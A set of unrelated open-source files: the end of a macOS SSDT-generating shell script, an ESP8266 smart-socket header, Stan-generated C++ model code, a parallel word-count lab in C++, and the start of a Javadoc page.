'system-type' may be set improperly ($currentSystemType instead of $gSystemType)" fi _findIasl if [[ $gCallIasl -eq 1 && -f "$gSsdtPR" ]]; then # # Compile ssdt_pr.dsl # printf "\n${STYLE_BOLD}Compiling:${STYLE_RESET} ssdt_pr.dsl" "$gIasl" "$gSsdtPR" # # Copy ssdt_pr.aml to /Extra/ssdt.aml (example) # if [ $gAutoCopy -eq 1 ]; then if [ -f "${gPath}/${gSsdtID}.aml" ]; then echo -e read -p "Do you want to copy ${gPath}/${gSsdtID}.aml to ${gDestinationPath}${gDestinationFile}? (y/n)? " choice case "$choice" in y|Y ) if [[ $gIsLegacyRevoBoot -eq 0 ]]; then _setDestinationPath fi # # Check write permissions. # if [ -w "${gDestinationPath}${gDestinationFile}" ]; then cp "${gPath}/${gSsdtID}.aml" "${gDestinationPath}${gDestinationFile}" else sudo cp "${gPath}/${gSsdtID}.aml" "${gDestinationPath}${gDestinationFile}" fi # # Check if we need to unmount the EFI volume. # if [[ $gIsLegacyRevoBoot -eq 0 && $gUnmountEFIPartition ]]; then _debugPrint "Unmounting EFI partition...\n" sudo umount -f /Volumes/EFI # # Check return status for Success. # # Note: Without this check we may end up removing the whole freaking EFI directory! # if [[ $? -eq 0 ]]; then read -p "Do you want to remove the temporarily mount point (y/n)? " choice2 case "$choice2" in y|Y ) # # You fool: don't use <em>rm</em> commands in a script! # # read -p "Do you want to remove the temporarily mount point (y/n)?" choice3 # case "$choice3" in # y|Y ) _debugPrint "Removing temporarily mount point...\n" sudo rm -r /Volumes/EFI # ;; # esac ;; esac fi fi sudo -k ;; esac fi fi fi # # Ask for confirmation before opening the new SSDT.dsl? # if [[ $gCallOpen -eq 2 && -f "$gSsdtPR" ]]; then # # Yes. Ask for confirmation. # read -p "Do you want to open ${gSsdtID}.dsl (y/n)? " openAnswer case "$openAnswer" in y|Y ) # # Ok. Override default behaviour. # let gCallOpen=1 ;; esac fi # # Should we open the new SSDT.dsl? # if [[ $gCallOpen -eq 1 ]]; then # # Yes. Open SSDT.dsl in TextEdit. # open -e "$gSsdtPR" fi } #==================================== START ===================================== clear main "$@" exit 0 #================================================================================
packingbox/Acer-TravelMate-P236-m
tools/ssdtPRGen.sh
Shell
gpl-3.0
151,125
#ifndef COMMON_H #define COMMON_H // ********** Globale Einstellungen zum Layout und zur Version ************** #define IICTEST #define USE_LED_BUILTIN String mVersionNr = "V01-00-03."; // ********** Ende der Einstellungen **************************************** #include <TimeLib.h> //<Time.h> http://www.arduino.cc/playground/Code/Time #define DEBUG_OUTPUT Serial #define DBG_OUTPUT_PORT Serial #ifdef IICTEST # ifdef USE_LED_BUILTIN String mVersionVariante = "iic."; # else String mVersionVariante = "i2c."; # endif #else String mVersionVariante = "min."; #endif //ifdef IIC #ifdef ARDUINO_ESP8266_NODEMCU const byte board = 1; String mVersionBoard = "nodemcu"; #elif ARDUINO_ESP8266_WEMOS_D1MINI const byte board = 2; String mVersionBoard = "d1_mini"; #else const byte board = 3; String mVersionBoard = "unknown"; #endif // enables OTA updates #include <ESP8266httpUpdate.h> #include <ESP8266WebServer.h> ESP8266WebServer server; #define LOGINLAENGE 32 #define COOKIE_MAX 10 #define COOKIE_ADMINISTRATOR 1 #define COOKIE_BENUTZER 2 const char * headerKeys[] = {"User-Agent","Set-Cookie","Cookie","Date","Content-Type","Connection"} ; size_t headerKeysCount = 6; char name_timer[LOGINLAENGE] = "Wifi 4-fach Timer"; char name_r[4][LOGINLAENGE]; char AdminName[LOGINLAENGE] = "admin\0"; char AdminPasswort[LOGINLAENGE] = "\0"; char UserName[LOGINLAENGE] = "user\0"; char UserPasswort[LOGINLAENGE] = "\0"; char UpdateServer[LOGINLAENGE] = "192.168.178.60\0"; char timeserver[LOGINLAENGE] = "time.nist.gov\0"; int UserCookie[COOKIE_MAX];// = [0,0,0,0,0,0,0,0,0,0]; int UserStatus[COOKIE_MAX];// = [0,0,0,0,0,0,0,0,0,0]; int UserNext=0; int UserCurrent = -1; boolean sommerzeit = false; const char* serverIndex = "<form method='POST' action='/upload' enctype='multipart/form-data'><input type='file' name='upload'><input type='submit' value='Upload'></form>"; // Timer unsigned long NTPTime = 0, RTCTime = 0, RTCSync = 0, ZeitTemp = 0, ZeitTempMin = 0, ZeitTempStd = 0, ZeitTempTag = 0; // Status byte NTPok = 0, WLANok = 0, IOok = 0, RTCok = 0, DISPLAYok = 0; boolean AP = 0; // Accesspoint Modus aus #endif
Man-fred/esp_schaltbare_Steckdose
common.h
C
gpl-3.0
2,160
// Generated by rstantools. Do not edit by hand. /* MADPop is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. MADPop is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with MADPop. If not, see <http://www.gnu.org/licenses/>. */ #ifndef MODELS_HPP #define MODELS_HPP #define STAN__SERVICES__COMMAND_HPP #include <rstan/rstaninc.hpp> // Code generated by Stan version 2.18.0 #include <stan/model/model_header.hpp> namespace model_DirichletMultinomial_namespace { using std::istream; using std::string; using std::stringstream; using std::vector; using stan::io::dump; using stan::math::lgamma; using stan::model::prob_grad; using namespace stan::math; static int current_statement_begin__; stan::io::program_reader prog_reader__() { stan::io::program_reader reader; reader.add_event(0, 0, "start", "model_DirichletMultinomial"); reader.add_event(87, 85, "end", "model_DirichletMultinomial"); return reader; } template <bool propto, typename T1__> typename boost::math::tools::promote_args<T1__>::type dirichlet_multinomial_lpmf(const std::vector<int>& x, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) { typedef typename boost::math::tools::promote_args<T1__>::type local_scalar_t__; typedef local_scalar_t__ fun_return_scalar_t__; const static bool propto__ = true; (void) propto__; local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN()); (void) DUMMY_VAR__; // suppress unused var warning int current_statement_begin__ = -1; try { { current_statement_begin__ = 19; local_scalar_t__ ans; (void) ans; // dummy to suppress unused var warning stan::math::initialize(ans, DUMMY_VAR__); stan::math::fill(ans,DUMMY_VAR__); current_statement_begin__ = 20; stan::math::assign(ans, 0.0); current_statement_begin__ = 21; for (int ii = 1; ii <= num_elements(x); ++ii) { current_statement_begin__ = 22; stan::math::assign(ans, (ans + (stan::math::lgamma((get_base1(x,ii,"x",1) + get_base1(eta,ii,"eta",1))) - stan::math::lgamma(get_base1(eta,ii,"eta",1))))); } current_statement_begin__ = 24; return stan::math::promote_scalar<fun_return_scalar_t__>(((ans + stan::math::lgamma(sum(eta))) - stan::math::lgamma((sum(x) + sum(eta))))); } } catch (const std::exception& e) { stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__()); // Next line prevents compiler griping about no return throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***"); } } template <typename T1__> typename boost::math::tools::promote_args<T1__>::type dirichlet_multinomial_lpmf(const std::vector<int>& x, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) { return dirichlet_multinomial_lpmf<false>(x,eta, pstream__); } struct dirichlet_multinomial_lpmf_functor__ { template <bool propto, typename T1__> typename boost::math::tools::promote_args<T1__>::type operator()(const std::vector<int>& x, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) const { return dirichlet_multinomial_lpmf(x, eta, pstream__); } }; template <bool propto, typename T1__> typename boost::math::tools::promote_args<T1__>::type Dirichlet_Multinomial_lpmf(const std::vector<std::vector<int> >& X, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) { typedef typename boost::math::tools::promote_args<T1__>::type local_scalar_t__; typedef local_scalar_t__ fun_return_scalar_t__; const static bool propto__ = true; (void) propto__; local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN()); (void) DUMMY_VAR__; // suppress unused var warning int current_statement_begin__ = -1; try { { current_statement_begin__ = 29; validate_non_negative_index("D", "2", 2); vector<int> D(2, 0); stan::math::fill(D, std::numeric_limits<int>::min()); current_statement_begin__ = 30; local_scalar_t__ ans; (void) ans; // dummy to suppress unused var warning stan::math::initialize(ans, DUMMY_VAR__); stan::math::fill(ans,DUMMY_VAR__); current_statement_begin__ = 31; local_scalar_t__ seta; (void) seta; // dummy to suppress unused var warning stan::math::initialize(seta, DUMMY_VAR__); stan::math::fill(seta,DUMMY_VAR__); current_statement_begin__ = 32; local_scalar_t__ slgeta; (void) slgeta; // dummy to suppress unused var warning stan::math::initialize(slgeta, DUMMY_VAR__); stan::math::fill(slgeta,DUMMY_VAR__); current_statement_begin__ = 33; stan::math::assign(D, dims(X)); current_statement_begin__ = 35; stan::math::assign(seta, sum(eta)); current_statement_begin__ = 36; stan::math::assign(slgeta, 0.0); current_statement_begin__ = 37; for (int jj = 1; jj <= get_base1(D,2,"D",1); ++jj) { current_statement_begin__ = 38; stan::math::assign(slgeta, (slgeta + stan::math::lgamma(get_base1(eta,jj,"eta",1)))); } current_statement_begin__ = 41; stan::math::assign(ans, 0.0); current_statement_begin__ = 42; for (int ii = 1; ii <= get_base1(D,1,"D",1); ++ii) { current_statement_begin__ = 43; for (int jj = 1; jj <= get_base1(D,2,"D",1); ++jj) { current_statement_begin__ = 44; stan::math::assign(ans, (ans + stan::math::lgamma((get_base1(get_base1(X,ii,"X",1),jj,"X",2) + get_base1(eta,jj,"eta",1))))); } current_statement_begin__ = 46; stan::math::assign(ans, (ans - stan::math::lgamma((sum(get_base1(X,ii,"X",1)) + seta)))); } current_statement_begin__ = 48; stan::math::assign(ans, (ans + (get_base1(D,1,"D",1) * (stan::math::lgamma(seta) - slgeta)))); current_statement_begin__ = 49; return stan::math::promote_scalar<fun_return_scalar_t__>(ans); } } catch (const std::exception& e) { stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__()); // Next line prevents compiler griping about no return throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***"); } } template <typename T1__> typename boost::math::tools::promote_args<T1__>::type Dirichlet_Multinomial_lpmf(const std::vector<std::vector<int> >& X, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) { return Dirichlet_Multinomial_lpmf<false>(X,eta, pstream__); } struct Dirichlet_Multinomial_lpmf_functor__ { template <bool propto, typename T1__> typename boost::math::tools::promote_args<T1__>::type operator()(const std::vector<std::vector<int> >& X, const Eigen::Matrix<T1__, Eigen::Dynamic,1>& eta, std::ostream* pstream__) const { return Dirichlet_Multinomial_lpmf(X, eta, pstream__); } }; #include <stan_meta_header.hpp> class model_DirichletMultinomial : public prob_grad { private: int nG; int nL; vector<vector<int> > X; int nLrho; vector<int> iLrho; public: model_DirichletMultinomial(stan::io::var_context& context__, std::ostream* pstream__ = 0) : prob_grad(0) { ctor_body(context__, 0, pstream__); } model_DirichletMultinomial(stan::io::var_context& context__, unsigned int random_seed__, std::ostream* pstream__ = 0) : prob_grad(0) { ctor_body(context__, random_seed__, pstream__); } void ctor_body(stan::io::var_context& context__, unsigned int random_seed__, std::ostream* pstream__) { typedef double local_scalar_t__; boost::ecuyer1988 base_rng__ = stan::services::util::create_rng(random_seed__, 0); (void) base_rng__; // suppress unused var warning current_statement_begin__ = -1; static const char* function__ = "model_DirichletMultinomial_namespace::model_DirichletMultinomial"; (void) function__; // dummy to suppress unused var warning size_t pos__; (void) pos__; // dummy to suppress unused var warning std::vector<int> vals_i__; std::vector<double> vals_r__; local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN()); (void) DUMMY_VAR__; // suppress unused var warning // initialize member variables try { current_statement_begin__ = 54; context__.validate_dims("data initialization", "nG", "int", context__.to_vec()); nG = int(0); vals_i__ = context__.vals_i("nG"); pos__ = 0; nG = vals_i__[pos__++]; current_statement_begin__ = 55; context__.validate_dims("data initialization", "nL", "int", context__.to_vec()); nL = int(0); vals_i__ = context__.vals_i("nL"); pos__ = 0; nL = vals_i__[pos__++]; current_statement_begin__ = 56; validate_non_negative_index("X", "nL", nL); validate_non_negative_index("X", "nG", nG); context__.validate_dims("data initialization", "X", "int", context__.to_vec(nL,nG)); validate_non_negative_index("X", "nL", nL); validate_non_negative_index("X", "nG", nG); X = std::vector<std::vector<int> >(nL,std::vector<int>(nG,int(0))); vals_i__ = context__.vals_i("X"); pos__ = 0; size_t X_limit_1__ = nG; for (size_t i_1__ = 0; i_1__ < X_limit_1__; ++i_1__) { size_t X_limit_0__ = nL; for (size_t i_0__ = 0; i_0__ < X_limit_0__; ++i_0__) { X[i_0__][i_1__] = vals_i__[pos__++]; } } current_statement_begin__ = 58; context__.validate_dims("data initialization", "nLrho", "int", context__.to_vec()); nLrho = int(0); vals_i__ = context__.vals_i("nLrho"); pos__ = 0; nLrho = vals_i__[pos__++]; current_statement_begin__ = 59; validate_non_negative_index("iLrho", "nLrho", nLrho); context__.validate_dims("data initialization", "iLrho", "int", context__.to_vec(nLrho)); validate_non_negative_index("iLrho", "nLrho", nLrho); iLrho = std::vector<int>(nLrho,int(0)); vals_i__ = context__.vals_i("iLrho"); pos__ = 0; size_t iLrho_limit_0__ = nLrho; for (size_t i_0__ = 0; i_0__ < iLrho_limit_0__; ++i_0__) { iLrho[i_0__] = vals_i__[pos__++]; } // validate, data variables current_statement_begin__ = 54; check_greater_or_equal(function__,"nG",nG,1); current_statement_begin__ = 55; check_greater_or_equal(function__,"nL",nL,1); current_statement_begin__ = 56; for (int k0__ = 0; k0__ < nL; ++k0__) { for (int k1__ = 0; k1__ < nG; ++k1__) { check_greater_or_equal(function__,"X[k0__][k1__]",X[k0__][k1__],0); } } current_statement_begin__ = 58; check_greater_or_equal(function__,"nLrho",nLrho,0); check_less_or_equal(function__,"nLrho",nLrho,nL); current_statement_begin__ = 59; for (int k0__ = 0; k0__ < nLrho; ++k0__) { check_greater_or_equal(function__,"iLrho[k0__]",iLrho[k0__],1); check_less_or_equal(function__,"iLrho[k0__]",iLrho[k0__],nL); } // initialize data variables // validate transformed data // validate, set parameter ranges num_params_r__ = 0U; param_ranges_i__.clear(); current_statement_begin__ = 63; validate_non_negative_index("alpha", "nG", nG); num_params_r__ += (nG - 1); current_statement_begin__ = 64; ++num_params_r__; } catch (const std::exception& e) { stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__()); // Next line prevents compiler griping about no return throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***"); } } ~model_DirichletMultinomial() { } void transform_inits(const stan::io::var_context& context__, std::vector<int>& params_i__, std::vector<double>& params_r__, std::ostream* pstream__) const { stan::io::writer<double> writer__(params_r__,params_i__); size_t pos__; (void) pos__; // dummy call to supress warning std::vector<double> vals_r__; std::vector<int> vals_i__; if (!(context__.contains_r("alpha"))) throw std::runtime_error("variable alpha missing"); vals_r__ = context__.vals_r("alpha"); pos__ = 0U; validate_non_negative_index("alpha", "nG", nG); context__.validate_dims("initialization", "alpha", "vector_d", context__.to_vec(nG)); vector_d alpha(static_cast<Eigen::VectorXd::Index>(nG)); for (int j1__ = 0U; j1__ < nG; ++j1__) alpha(j1__) = vals_r__[pos__++]; try { writer__.simplex_unconstrain(alpha); } catch (const std::exception& e) { throw std::runtime_error(std::string("Error transforming variable alpha: ") + e.what()); } if (!(context__.contains_r("eta"))) throw std::runtime_error("variable eta missing"); vals_r__ = context__.vals_r("eta"); pos__ = 0U; context__.validate_dims("initialization", "eta", "double", context__.to_vec()); double eta(0); eta = vals_r__[pos__++]; try { writer__.scalar_lb_unconstrain(0,eta); } catch (const std::exception& e) { throw std::runtime_error(std::string("Error transforming variable eta: ") + e.what()); } params_r__ = writer__.data_r(); params_i__ = writer__.data_i(); } void transform_inits(const stan::io::var_context& context, Eigen::Matrix<double,Eigen::Dynamic,1>& params_r, std::ostream* pstream__) const { std::vector<double> params_r_vec; std::vector<int> params_i_vec; transform_inits(context, params_i_vec, params_r_vec, pstream__); params_r.resize(params_r_vec.size()); for (int i = 0; i < params_r.size(); ++i) params_r(i) = params_r_vec[i]; } template <bool propto__, bool jacobian__, typename T__> T__ log_prob(vector<T__>& params_r__, vector<int>& params_i__, std::ostream* pstream__ = 0) const { typedef T__ local_scalar_t__; local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN()); (void) DUMMY_VAR__; // suppress unused var warning T__ lp__(0.0); stan::math::accumulator<T__> lp_accum__; try { // model parameters stan::io::reader<local_scalar_t__> in__(params_r__,params_i__); Eigen::Matrix<local_scalar_t__,Eigen::Dynamic,1> alpha; (void) alpha; // dummy to suppress unused var warning if (jacobian__) alpha = in__.simplex_constrain(nG,lp__); else alpha = in__.simplex_constrain(nG); local_scalar_t__ eta; (void) eta; // dummy to suppress unused var warning if (jacobian__) eta = in__.scalar_lb_constrain(0,lp__); else eta = in__.scalar_lb_constrain(0); // transformed parameters // validate transformed parameters const char* function__ = "validate transformed params"; (void) function__; // dummy to suppress unused var warning // model body current_statement_begin__ = 70; lp_accum__.add(Dirichlet_Multinomial_lpmf<propto__>(X, multiply(eta,alpha), pstream__)); current_statement_begin__ = 74; lp_accum__.add((-(2) * stan::math::log((1 + eta)))); } catch (const std::exception& e) { stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__()); // Next line prevents compiler griping about no return throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***"); } lp_accum__.add(lp__); return lp_accum__.sum(); } // log_prob() template <bool propto, bool jacobian, typename T_> T_ log_prob(Eigen::Matrix<T_,Eigen::Dynamic,1>& params_r, std::ostream* pstream = 0) const { std::vector<T_> vec_params_r; vec_params_r.reserve(params_r.size()); for (int i = 0; i < params_r.size(); ++i) vec_params_r.push_back(params_r(i)); std::vector<int> vec_params_i; return log_prob<propto,jacobian,T_>(vec_params_r, vec_params_i, pstream); } void get_param_names(std::vector<std::string>& names__) const { names__.resize(0); names__.push_back("alpha"); names__.push_back("eta"); names__.push_back("rho"); } void get_dims(std::vector<std::vector<size_t> >& dimss__) const { dimss__.resize(0); std::vector<size_t> dims__; dims__.resize(0); dims__.push_back(nG); dimss__.push_back(dims__); dims__.resize(0); dimss__.push_back(dims__); dims__.resize(0); dims__.push_back(nLrho); dims__.push_back(nG); dimss__.push_back(dims__); } template <typename RNG> void write_array(RNG& base_rng__, std::vector<double>& params_r__, std::vector<int>& params_i__, std::vector<double>& vars__, bool include_tparams__ = true, bool include_gqs__ = true, std::ostream* pstream__ = 0) const { typedef double local_scalar_t__; vars__.resize(0); stan::io::reader<local_scalar_t__> in__(params_r__,params_i__); static const char* function__ = "model_DirichletMultinomial_namespace::write_array"; (void) function__; // dummy to suppress unused var warning // read-transform, write parameters vector_d alpha = in__.simplex_constrain(nG); double eta = in__.scalar_lb_constrain(0); for (int k_0__ = 0; k_0__ < nG; ++k_0__) { vars__.push_back(alpha[k_0__]); } vars__.push_back(eta); // declare and define transformed parameters double lp__ = 0.0; (void) lp__; // dummy to suppress unused var warning stan::math::accumulator<double> lp_accum__; local_scalar_t__ DUMMY_VAR__(std::numeric_limits<double>::quiet_NaN()); (void) DUMMY_VAR__; // suppress unused var warning try { // validate transformed parameters // write transformed parameters if (include_tparams__) { } if (!include_gqs__) return; // declare and define generated quantities current_statement_begin__ = 79; validate_non_negative_index("rho", "nG", nG); validate_non_negative_index("rho", "nLrho", nLrho); vector<Eigen::Matrix<local_scalar_t__,Eigen::Dynamic,1> > rho(nLrho, (Eigen::Matrix<local_scalar_t__,Eigen::Dynamic,1> (static_cast<Eigen::VectorXd::Index>(nG)))); stan::math::initialize(rho, DUMMY_VAR__); stan::math::fill(rho,DUMMY_VAR__); current_statement_begin__ = 80; if (as_bool(logical_gt(nLrho,0))) { current_statement_begin__ = 81; for (int ii = 1; ii <= nLrho; ++ii) { current_statement_begin__ = 82; stan::model::assign(rho, stan::model::cons_list(stan::model::index_uni(ii), stan::model::nil_index_list()), dirichlet_rng(add(to_vector(get_base1(X,get_base1(iLrho,ii,"iLrho",1),"X",1)),multiply(eta,alpha)), base_rng__), "assigning variable rho"); } } // validate generated quantities current_statement_begin__ = 79; for (int k0__ = 0; k0__ < nLrho; ++k0__) { stan::math::check_simplex(function__,"rho[k0__]",rho[k0__]); } // write generated quantities for (int k_1__ = 0; k_1__ < nG; ++k_1__) { for (int k_0__ = 0; k_0__ < nLrho; ++k_0__) { vars__.push_back(rho[k_0__][k_1__]); } } } catch (const std::exception& e) { stan::lang::rethrow_located(e, current_statement_begin__, prog_reader__()); // Next line prevents compiler griping about no return throw std::runtime_error("*** IF YOU SEE THIS, PLEASE REPORT A BUG ***"); } } template <typename RNG> void write_array(RNG& base_rng, Eigen::Matrix<double,Eigen::Dynamic,1>& params_r, Eigen::Matrix<double,Eigen::Dynamic,1>& vars, bool include_tparams = true, bool include_gqs = true, std::ostream* pstream = 0) const { std::vector<double> params_r_vec(params_r.size()); for (int i = 0; i < params_r.size(); ++i) params_r_vec[i] = params_r(i); std::vector<double> vars_vec; std::vector<int> params_i_vec; write_array(base_rng,params_r_vec,params_i_vec,vars_vec,include_tparams,include_gqs,pstream); vars.resize(vars_vec.size()); for (int i = 0; i < vars.size(); ++i) vars(i) = vars_vec[i]; } static std::string model_name() { return "model_DirichletMultinomial"; } void constrained_param_names(std::vector<std::string>& param_names__, bool include_tparams__ = true, bool include_gqs__ = true) const { std::stringstream param_name_stream__; for (int k_0__ = 1; k_0__ <= nG; ++k_0__) { param_name_stream__.str(std::string()); param_name_stream__ << "alpha" << '.' << k_0__; param_names__.push_back(param_name_stream__.str()); } param_name_stream__.str(std::string()); param_name_stream__ << "eta"; param_names__.push_back(param_name_stream__.str()); if (!include_gqs__ && !include_tparams__) return; if (include_tparams__) { } if (!include_gqs__) return; for (int k_1__ = 1; k_1__ <= nG; ++k_1__) { for (int k_0__ = 1; k_0__ <= nLrho; ++k_0__) { param_name_stream__.str(std::string()); param_name_stream__ << "rho" << '.' << k_0__ << '.' << k_1__; param_names__.push_back(param_name_stream__.str()); } } } void unconstrained_param_names(std::vector<std::string>& param_names__, bool include_tparams__ = true, bool include_gqs__ = true) const { std::stringstream param_name_stream__; for (int k_0__ = 1; k_0__ <= (nG - 1); ++k_0__) { param_name_stream__.str(std::string()); param_name_stream__ << "alpha" << '.' << k_0__; param_names__.push_back(param_name_stream__.str()); } param_name_stream__.str(std::string()); param_name_stream__ << "eta"; param_names__.push_back(param_name_stream__.str()); if (!include_gqs__ && !include_tparams__) return; if (include_tparams__) { } if (!include_gqs__) return; for (int k_1__ = 1; k_1__ <= (nG - 1); ++k_1__) { for (int k_0__ = 1; k_0__ <= nLrho; ++k_0__) { param_name_stream__.str(std::string()); param_name_stream__ << "rho" << '.' << k_0__ << '.' << k_1__; param_names__.push_back(param_name_stream__.str()); } } } }; // model } typedef model_DirichletMultinomial_namespace::model_DirichletMultinomial stan_model; #endif
mlysy/MADPop
src/stanExports_DirichletMultinomial.h
C
gpl-3.0
25,278
// // Created by artyom on 14.02.16. // #ifndef LAB1_SIMPLE_COUNT_H #define LAB1_SIMPLE_COUNT_H #include <stdio.h> #include <string.h> #include <stdlib.h> #include <omp.h> #include <thread> #include "utils.h" #ifdef WITH_OPENMP const int defaultThreadCount = omp_get_num_procs(); #else const int defaultThreadCount = std::thread::hardware_concurrency(); #endif void* countThread(void* arg); wordStat countWords(const char* text, size_t len) { char* workArray = new char[len + 1]; strncpy(workArray, text, len); workArray[len] = '\0'; const char* delim = " ,. \"!-?()"; char *saveptr; wordStat stat; char* pch = strtok_r(workArray, delim, &saveptr); while (pch != NULL) { int prevCount = stat.count(pch) ? stat[pch] : 0; stat[pch] = prevCount + 1; pch = strtok_r(NULL, delim, &saveptr); } delete[] workArray; return stat; } wordStat countWordsBlockwise(const char* text, size_t len, int blockCount) { wordStat stat; vector<size_t> blockStart; size_t blockSize = len / blockCount + 1; size_t startPos = 0; size_t endPos; // Fix borders for (int i = 0; i < blockCount; i++) { blockStart.push_back(startPos); endPos = startPos + blockSize; while (true) { if ((endPos > len) || (text[endPos] == ' ')) { break; } endPos++; } startPos = endPos + 1; if (startPos > len) { break; } } for (int i = 0; i < blockCount; i++) { startPos = blockStart[i]; endPos = i == (blockCount-1) ? len : blockStart[i + 1]; // Run countWords auto localMap = countWords(text + startPos, endPos - startPos); // Merge results for (auto& it: localMap) { int prevCount = stat.count(it.first) ? stat[it.first] : 0; stat[it.first] = prevCount + it.second; } } return stat; } #ifdef WITH_OPENMP wordStat countWordsOpenMP(const char* text, size_t len, int threadCount) { wordStat stat; vector<size_t> blockStart; size_t blockSize = len / threadCount + 1; size_t startPos = 0; size_t endPos; for (int i = 0; i < threadCount; i++) { blockStart.push_back(startPos); endPos = startPos + blockSize; while (true) { if ((endPos > len) || (text[endPos] == ' ')) { break; } endPos++; } startPos = endPos + 1; if (startPos > len) { break; } } #pragma omp parallel for for (int i = 0; i < threadCount; i++) { startPos = blockStart[i]; endPos = i == (threadCount-1) ? len : blockStart[i + 1]; auto localMap = countWords(text + startPos, endPos - startPos); #pragma omp critical(merge) for (auto& it: localMap) { int prevCount = stat.count(it.first) ? stat[it.first] : 0; stat[it.first] = prevCount + it.second; } } return stat; } #endif struct threadData { const char* text; size_t len; size_t start; size_t end; wordStat* stat; pthread_mutex_t* mutex; pthread_t thread_id; }; wordStat countWordsPthreads(const char* text, size_t len, int threadCount) { wordStat stat; vector<size_t> blockStart; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; size_t blockSize = len / threadCount + 1; size_t startPos = 0; size_t endPos; threadData data[threadCount]; for (int i = 0; i < threadCount; i++) { blockStart.push_back(startPos); endPos = startPos + blockSize; while (true) { if ((endPos > len) || (text[endPos] == ' ')) { break; } endPos++; } startPos = endPos + 1; if (startPos > len) { break; } } for (int i = 0; i < threadCount; i++) { data[i].text = text; data[i].len = len; data[i].start = blockStart[i]; data[i].end = i == (threadCount-1) ? len : blockStart[i + 1]; data[i].stat = &stat; data[i].mutex = &mutex; int s = pthread_create(&data[i].thread_id, NULL, &countThread, &data[i]); assert (s == 0); } for (int i = 0; i < threadCount; i++) { pthread_join(data[i].thread_id, NULL); } pthread_mutex_destroy(&mutex); return stat; } void* countThread(void* arg) { threadData data = *(threadData*) arg; size_t startPos = data.start; size_t endPos = data.end; auto localMap = countWords(data.text + startPos, endPos - startPos); pthread_mutex_lock(data.mutex); for (auto& it: localMap) { int prevCount = data.stat->count(it.first) ? (*data.stat)[it.first] : 0; (*data.stat)[it.first] = prevCount + it.second; } pthread_mutex_unlock(data.mutex); return NULL; } #endif //LAB1_SIMPLE_COUNT_H
h31/ParallelComputing
count.h
C
gpl-3.0
4,975
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_25) on Mon Nov 10 16:11:28 MST 2014 --> <title>User</title> <meta name="date" content="2014-11-10"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="User"; } } catch(err) { } //--> var methods = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":9,"i5":10}; var tabs = {65535:["t0","All Methods"],1:["t1","Static Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]}; var altColor = "altColor"; var rowColor = "rowColor"; var tableTab = "tableTab"; var activeTableTab = "activeTableTab"; </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/User.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../ca/ualberta/cs/queueunderflow/TView.html" title="interface in ca.ualberta.cs.queueunderflow"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../ca/ualberta/cs/queueunderflow/UserList.html" title="class in ca.ualberta.cs.queueunderflow"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?ca/ualberta/cs/queueunderflow/User.html" target="_top">Frames</a></li> <li><a href="User.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- 